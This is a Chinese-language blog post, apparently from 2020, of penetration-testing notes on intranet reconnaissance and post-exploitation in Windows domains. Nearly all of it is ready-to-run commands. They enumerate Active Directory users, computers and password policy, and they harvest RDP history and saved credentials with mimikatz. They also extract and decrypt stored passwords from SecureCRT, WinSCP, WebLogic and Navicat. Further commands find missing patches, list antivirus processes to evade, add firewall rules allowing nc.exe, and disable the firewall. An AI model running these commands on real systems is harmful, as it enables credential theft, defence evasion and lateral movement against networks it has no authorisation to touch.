关于内网小众信息收集

1.密码策略收集
    1.net accounts /domain    如果是域用户,用命令查看     (域内)
    2.运用kali的ldapsearch来收集         (域外)
        dapsearch -x -H ldap://192.168.1.1:389 -D "CN=testa,CN=Users,DC=test,DC=com" -w DomainUser123! -b "DC=test,DC=com" | grep replUpToDateVector -A 13
        ps:   testa为用户名,-w为密码
    3.利用ipc连接查看,前提的晓得一个域用户的账号密码。     (域外)
        type "\\192.168.160.139\C$\Windows\SYSVOL\sysvol\leecinsy.com\Policies\{31B2F340-016D-11D2-945F-00C04FB984F9}\MACHINE\Microsoft\Windows NT\SecEdit\GptTmpl.inf"
        有2个常用位置,上面那个是我自己win8的
        \\192.168.1.1\SYSVOL\test.com\Policies\{31B2F340-016D-11D2-945F-00C04FB984F9}\MACHINE\Microsoft\Windows NT\SecEdit\GptTmpl.inf    //这2个常用位置
    4.运用Microsoft.ActiveDirectory.Management.dll(域内域外都可以,我没有成功)
    
2.活动目录信息的获取
    1.利用kali的ldapsearch来收集(域外)
        ldapsearch -x -H ldap://192.168.1.1:389 -D "CN=testa,CN=Users,DC=test,DC=com" -w DomainUser123! -b "DC=test,DC=com"    //显示所有能查询的信息
        ldapsearch -x -H ldap://192.168.1.1:389 -D "CN=testa,CN=Users,DC=test,DC=com" -w DomainUser123! -b "DC=test,DC=com" -b "DC=test,DC=com" "(&(objectClass=user)(objectCategory=person))" CN | grep cn
        //查询所有的域用户,并且只显示cn的信息,用户名,如果想全部显示,去掉管道符后面的
        ldapsearch -x -H ldap://192.168.1.1:389 -D "CN=testa,CN=Users,DC=test,DC=com" -w DomainUser123! -b "DC=test,DC=com" -b "DC=test,DC=com" "(&(objectCategory=computer)(objectClass=computer))" CN | grep cn        //查询所有的计算机名,并且只显示cn的信息,计算机名,如果想全部显示,去掉管道符后面的。
        ldapsearch -x -H ldap://192.168.1.1:389 -D "CN=testa,CN=Users,DC=test,DC=com" -w DomainUser123! -b "DC=test,DC=com" -b "DC=test,DC=com" "(&(objectCategory=group))" CN | grep cn
        //查询所有的组
    2.利用powershellspilot(域外&域内)
        $uname="cpwgp"                                                      
        $pwd=ConvertTo-SecureString "123456ab.." -AsPlainText –Force                   
        $cred=New-Object System.Management.Automation.PSCredential($uname,$pwd)
        //前面3行未固定格式,最后一行为执行命令
        Get-NetUser -Domain leecinsy.com -DomainController 192.168.160.139 -ADSpath "LDAP://DC=leecinsy,DC=com" -Credential $cred      //获取凭证
        Get-NetUser -Domain leecinsy.com -DomainController 192.168.160.139 -ADSpath "LDAP://DC=leecinsy,DC=com" -Credential $cred | fl name    //只返回用户名
        Get-NetComputer -Domain leecinsy.com -DomainController 192.168.160.139 -ADSpath "LDAP://DC=leecinsy,DC=com" -Credential $cred | fl name   //只返回机器名
        Get-NetGroup -Domain leecinsy.com -DomainController 192.168.160.139 -ADSpath "LDAP://DC=leecinsy,DC=com" -Credential $cred | fl name     //返回所有组
 
3.RDP连接历史记录
    1.HKEY_CURRENT_USER\Software\Microsoft\Terminal Server Client\Servers    //只能看当前登录的
     如果想看全部,选中HKEY_USERS项,单击加载配置单元,找到NTUSER.DAT文件,然后我说说他的位置
        C:\Documents and Settings\用户名\NTUSER.DAT
        C:\Windows\profiles\用户名目录下
        C:\Users\ASUS                 \\即可加载全部,然后完事后记得删除
    或者使用命令行
        Reg load HKEY_USERS\S-1-5-21-1170783345-3748964848-1387080272-1003 C:\Documents and Settings\c\NTUSER.DAT
        Reg unload HKEY_USERS\S-1-5-21-1170783345-3748964848-1387080272-1003
 
    2.利用powershell
        (获得当前用户的rdp记录)
        dir "Registry::HKEY_CURRENT_USER\Software\Microsoft\Terminal Server Client\Servers" -Name     //罗列ip
        (Get-ItemProperty -Path "Registry::HKEY_CURRENT_USER\Software\Microsoft\Terminal Server Client\Servers\192.168.160.145").UsernameHint      //查询用户名
        (获得已登录用户历史记录)
        Get-WmiObject -Class Win32_UserAccount     
        wmic /NAMESPACE:"\\root\CIMV2" PATH Win32_UserAccount GET /all  /FORMAT:list     //枚举账户的sid
        然后是一套脚本,放在笔记里(脚本2)
        
  1. 利用cmd嘛,cmdkey /l
            或者用   dir /a %userprofile%\AppData\Local\Microsoft\Credentials\*    查看
 
        4.利用mimikatz
            mimikatz:
            dpapi::cred/in:C:\Users\Administrator\AppData\Local\Microsoft\Credentials\92FB159ED290FC523E845094404697A8
 
4.域控IP与与域机器的查找
    1.ipconfig /all      查看dns服务器,即为域控的ip
    2.开了389的端口的可能为域控
    3.利用信任域查找
        nltest /domain_trusts /all_trusts /v /server:192.168.160.145
        nltest /dsgetdc:pohpl /server:192.168.1.36
    4.net group "domain controllers" /domain     //命令查找
    5.nltest /dclist:leecinsy    //普通机器也可以查看
    6.利用nbtscan扫描
    7.利用csvde(一般说只有ad有,但是说不定不是ad也可以)
        csvde ‐setspn hack ‐f c:\windows\temp\hack.csv    CN=Common Name 为用户名或服务器名
    8.利用setspn
        setspn -T leecinsy -Q */*
        setspn -T leecinsy -Q */* | findstr iis
    9.利用dsquery.exe
        dsquery.exe server   //查域控
    10.利用dnsdump
        dnsdump.exe ‐u leecinsy\cpwgp ‐p 123456ab.. WIN-58124A27PCR -r
        
 
5.存活主机,资产探寻
    1.用nbtscan扫
    2.For /l %i in (1,1,255) do @ping 12.168.100.%i -w 1 -n 1 | find “TTL=”
    3.httpscan扫苗
    4.一些密码查看,SecureCRT,Winscp
    破解:(SecureCRT)
        powershell-import ./ListInstalledPrograms.ps1
       powershell Get-list
        dir %APPDATA%\VanDyke\Config\Sessions\       //查找SecureCRT的配置文件
        powershell-import ./Invoke-Ninjacopy.ps1
        powershell Invoke-NinjaCopy -Path "靶机ini文件" -LocalDestination "C:\users\desktop\ini文件
        然后解密:python2 securecrt-decrypt.py 192..168.1.1.ini(7以下)
        如果高版本,直接把 dir %APPDATA%\VanDyke\Config\整个目录拷过来,版本要一直哦,然后直接连接
    破解:(Winscp)ps:目标的事先保存密码
        powershell-import ./ListInstalledPrograms.ps1
       powershell Get-list
       reg query HKEY_CURRENT_USER\Software\Martin Prikryl\WinSCP 2\Sessions(默认存在的注册表)  会返回一些信息 例如root@192.168.1.1
       reg query HKEY_CURRENT_USER\Software\Martin Prikryl\WinSCP 2\Sessions\root@192.168.1.1
       然后将password用winscppwd.exe解密 winscppwd.exe root 192.168.1.1 hash即可
       也可以进入winscp,导出winscp的ini文件,然后用winscp解密   winscppwd.exe Winscp.ini
    破解:weblogic的数据库密码
        先找到4个比较重要的文件
        /weblogic/user_projects/domains/base_domain/security/SerializedSystemIni.dat         SerializedSystemIni.dat
        /weblogic/user_projects/domain/base_doman/servers/Admin/security/boot.properties           boot.properties
        /weblogic/user_projects/domains/base_domain/config/jdbc/xx-jdbc.xml                xx-jdbc.xml
        /weblogic/user_projects/domains/base_domain/config/config.xml                  config.xml
        然后用jar脚本跑,第一行用 SerializedSystemIni.dat      第二行用config.xml文件中提取   或者用xx-jdbc.xml获取
    破解navicat
        MySQL        HKEY_CURRENT_USER\Software\PremiumSoft\Navicat\Servers\
                reg query HKEY_CURRENT_USER\SOFTWARE\PremiumSoft\Navicat\Servers /s /v host
                reg query HKEY_CURRENT_USER\SOFTWARE\PremiumSoft\Navicat\Servers /s /v pwd
                reg query HKEY_CURRENT_USER\SOFTWARE\PremiumSoft\Navicat\Servers /s /v UserName
        MariaDB        HKEY_CURRENT_USER\Software\PremiumSoft\NavicatMARIADB\Servers\
        Microsoft SQL        HKEY_CURRENT_USER\Software\PremiumSoft\NavicatMSSQL\Servers\
        Oracle        HKEY_CURRENT_USER\Software\PremiumSoft\NavicatOra\Servers\
        PostgreSQL        HKEY_CURRENT_USER\Software\PremiumSoft\NavicatPG\Servers\
        SQLite        HKEY_CURRENT_USER\Software\PremiumSoft\NavicatSQLite\Servers\
        找到以后,可以导出本地,用本地的注册表替换
 
6.域机器域成员查找
1.定位域日志
域日志位置
C:\Windows\System32\winevt\Logs\Security.evtx 服务器登录日志 登录事件ID 4624,可判别出登录域控制器的机器
c:\windows\system32\winevt\logs\*.remote* 远程登录日志
主机远程登录日志
HKCU\Software\Microsoft\Terminal Server Client\Servers
HKCU\Software\Microsoft\Terminal Server Client\Default
 
 
7.关于本机的信息
1.查看是否为虚拟机
Systeminfo | findstr /i "System Model
dmidecode -s system-product-name       如若存在vitrul,就是虚拟机
wmic product get name,version          //查看安装了哪些软件,版本信息
path     //查看环境变量
 
2.看补丁,看杀软,看共享
看杀软
1.systeminfo
        systeminfo>micropoor.txt&(for %i in (  KB977165 KB2160329 KB2503665 KB2592799  KB2707511 KB2829361 KB2850851 KB3000061   KB3045171 KB3077657 KB3079904  KB3134228 KB3143141  KB3141780 ) do @type micropoor.txt|@find /i  "%i"|| @echo  %i you can fuck)&del /f /q /a micropoor.txt具体查找哪些补丁打没有打
        wmic qfe也是看补丁
        wmci os看操作系统
        systeminfo | findstr /B /C:"OS 名称" /C:"OS 版本"          看操作系统和版本
        wmic OS get Caption,CSDVersion,OSArchitecture,Version看的更具体
2.WMIC /Node:localhost /Namespace:\\root\SecurityCenter2 Path AntiVirusProduct Get displayName /Format:List   查看杀软,接下来我说一说常见的杀软进程
    wmic /namespace:\\root\securitycenter2 path antivirusproduct GET displayName,productState, pathToSignedProductExe
瑞星:
    CCENTER.EXE  Ravmond.exe  RavStub.exe   RAVTIMER.EXE  rfwmain.exe  rfwsrv.exe
McAfee:    
    avconsol.exe  avsynmgr.exe   alogserv.exe    vshwin32.exe   vsstat.exe   webscanx.exe   
金山毒霸:
    KAVPlus.EXE   KWatchUI.EXE  KPopMon.EXE  KULANSyn.EXE   KAVSvc.EXE   KAVStart.exe  KavPFW.exe   KSafeTray.exe
Norton:
    Norton AntiVirus   Navapsvc.exe   rtvscan.exe   vptray.exe   NPFMntor.exe   ccSetMgr.exe    SPBBCSvc.exe
360:
    360arp.exe   360safebox.exe   360Safe.exe   360tray.exe   360sd.exe  zhudongfangyu.exe
其他的:
    avguard.exe//小红伞     egui.exe//nod32      AVP.EXE//卡巴斯基    bdagent.exe//bitdefender  
    safedogupdatecenter//安全狗      Iparmor.exe//木马克星     vsmon.exe//ZoneAlarm个人防火墙
3.netsh firewall show state  查看防火墙的状态       netsh interface portproxy show all查看防火墙端口代理
    netsh firewall show config   查看防火墙的配置
    netsh advfirewall firewall add rule name="a" dir=in action=allow program="c:\nc.exe"   //允许指定指定程序进入
    netsh advfirewall firewall add rule name="b" dir=out action=allow program="c:\nc.exe"    //允许指定指定程序退出
    netsh advfirewall set currentprofile logging filename "c:\windows\temp\a.log"   //自定义防火墙日志的储存位置
    当然关闭防火墙也有很多命令
        netsh firewall set opmode mode=disable
        netsh firewall set Remote admin mode=enable
        netsh firewall set opmode disable
        netsh advfirewall set allprofiles state off
        wmic share get name,path,status     查看共享列表
 
 
 
    
    
        
        
    
    
 
posted @ 2020-12-11 23:25  z珠穆朗玛鑫  阅读(465)  评论(0编辑  收藏  举报